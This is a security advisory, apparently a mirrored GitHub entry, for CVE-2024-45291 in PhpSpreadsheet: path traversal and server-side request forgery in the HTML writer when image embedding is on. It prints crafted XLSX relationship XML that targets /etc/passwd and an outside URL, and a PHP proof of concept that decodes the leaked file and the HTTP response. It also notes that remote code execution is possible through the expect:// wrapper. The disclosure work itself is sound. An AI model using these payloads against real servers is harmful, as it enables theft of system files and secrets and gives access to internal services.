ghsa-w9xv-qf98-ccq4
Vulnerability from github
Published
2024-10-07 15:58
Modified
2024-10-07 22:29
Summary
PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled
Details

Summary

It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.

Details

XLSX files allow embedding or linking media. When

In xl/drawings/drawing1.xml an attacker can do e.g.: xml <a:blip cstate="print" r:link="rId1" />

And then, in xl/drawings/_rels/drawing1.xml.rels they can set the path to anything, such as: xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="/etc/passwd" /> or xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="http://example.org" />

When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.

```php if ($this->embedImages || str_starts_with($imageData, 'zip://')) { $picture = @file_get_contents($filename); if ($picture !== false) { $imageDetails = getimagesize($filename) ?: ['mime' => '']; // base64 encode the binary data $base64 = base64_encode($picture); $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64; } }

$html .= '' . $filedesc . '

PoC

```php <?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(DIR . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); $writer->setEmbedImages(true); $output = $writer->generateHTMLAll();

// The below is just for demo purposes

$pattern = '/data:;base64,(?[^"]+)/i';

preg_match_all($pattern, $output, $matches);

print(" /etc/passwd content: \n"); print(base64_decode($matches['data'][0]));

print(" HTTP response content: \n"); print(base64_decode($matches['data'][1])); ```

Add this file in the same directory: book.xlsx

Run with: php index.php

Impact

When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.

Show details on source website


{
   affected: [
      {
         package: {
            ecosystem: "Packagist",
            name: "phpoffice/phpspreadsheet",
         },
         ranges: [
            {
               events: [
                  {
                     introduced: "2.2.0",
                  },
                  {
                     fixed: "2.3.0",
                  },
               ],
               type: "ECOSYSTEM",
            },
         ],
      },
      {
         package: {
            ecosystem: "Packagist",
            name: "phpoffice/phpspreadsheet",
         },
         ranges: [
            {
               events: [
                  {
                     introduced: "0",
                  },
                  {
                     fixed: "1.29.2",
                  },
               ],
               type: "ECOSYSTEM",
            },
         ],
      },
      {
         package: {
            ecosystem: "Packagist",
            name: "phpoffice/phpspreadsheet",
         },
         ranges: [
            {
               events: [
                  {
                     introduced: "2.0.0",
                  },
                  {
                     fixed: "2.1.1",
                  },
               ],
               type: "ECOSYSTEM",
            },
         ],
      },
   ],
   aliases: [
      "CVE-2024-45291",
   ],
   database_specific: {
      cwe_ids: [
         "CWE-22",
         "CWE-36",
         "CWE-918",
      ],
      github_reviewed: true,
      github_reviewed_at: "2024-10-07T15:58:06Z",
      nvd_published_at: "2024-10-07T21:15:17Z",
      severity: "MODERATE",
   },
   details: "### Summary\n\nIt's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.\n\n### Details\n\nXLSX files allow embedding or linking media. When \n\nIn `xl/drawings/drawing1.xml` an attacker can do e.g.:\n```xml\n<a:blip cstate=\"print\" r:link=\"rId1\" />\n```\n\nAnd then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:\n```xml\n<Relationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"/etc/passwd\" />\n```\nor\n```xml\n<Relationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"http://example.org\" />\n```\n\nWhen the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.\n\n```php\nif ($this->embedImages || str_starts_with($imageData, 'zip://')) {\n    $picture = @file_get_contents($filename);\n    if ($picture !== false) {\n        $imageDetails = getimagesize($filename) ?: ['mime' => ''];\n        // base64 encode the binary data\n        $base64 = base64_encode($picture);\n        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;\n    }\n}\n\n$html .= '<img style=\"position: absolute; z-index: 1; left: '\n    . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '\n    . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;\" src=\"'\n    . $imageData . '\" alt=\"' . $filedesc . '\" />';\n```\n\n### PoC\n\n```php\n<?php\n\nrequire 'vendor/autoload.php';\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n$writer->setEmbedImages(true);\n$output = $writer->generateHTMLAll();\n\n// The below is just for demo purposes\n\n$pattern = '/data:;base64,(?<data>[^\"]+)/i';\n\npreg_match_all($pattern, $output, $matches);\n\nprint(\"*** /etc/passwd content: ***\\n\");\nprint(base64_decode($matches['data'][0]));\n\nprint(\"*** HTTP response content: ***\\n\");\nprint(base64_decode($matches['data'][1]));\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)\n\nRun with:\n`php index.php`\n\n### Impact\n\nWhen embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.\n",
   id: "GHSA-w9xv-qf98-ccq4",
   modified: "2024-10-07T22:29:43Z",
   published: "2024-10-07T15:58:06Z",
   references: [
      {
         type: "WEB",
         url: "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4",
      },
      {
         type: "ADVISORY",
         url: "https://nvd.nist.gov/vuln/detail/CVE-2024-45291",
      },
      {
         type: "WEB",
         url: "https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a",
      },
      {
         type: "WEB",
         url: "https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec",
      },
      {
         type: "WEB",
         url: "https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465",
      },
      {
         type: "PACKAGE",
         url: "https://github.com/PHPOffice/PhpSpreadsheet",
      },
   ],
   schema_version: "1.4.0",
   severity: [
      {
         score: "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
         type: "CVSS_V3",
      },
      {
         score: "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
         type: "CVSS_V4",
      },
   ],
   summary: "PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled",
}


Log in or create an account to share your comment.

Security Advisory comment format.

This schema specifies the format of a comment related to a security advisory.

UUIDv4 of the comment
UUIDv4 of the Vulnerability-Lookup instance
When the comment was created originally
When the comment was last updated
Title of the comment
Description of the comment
The identifier of the vulnerability (CVE ID, GHSA-ID, PYSEC ID, etc.).



Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.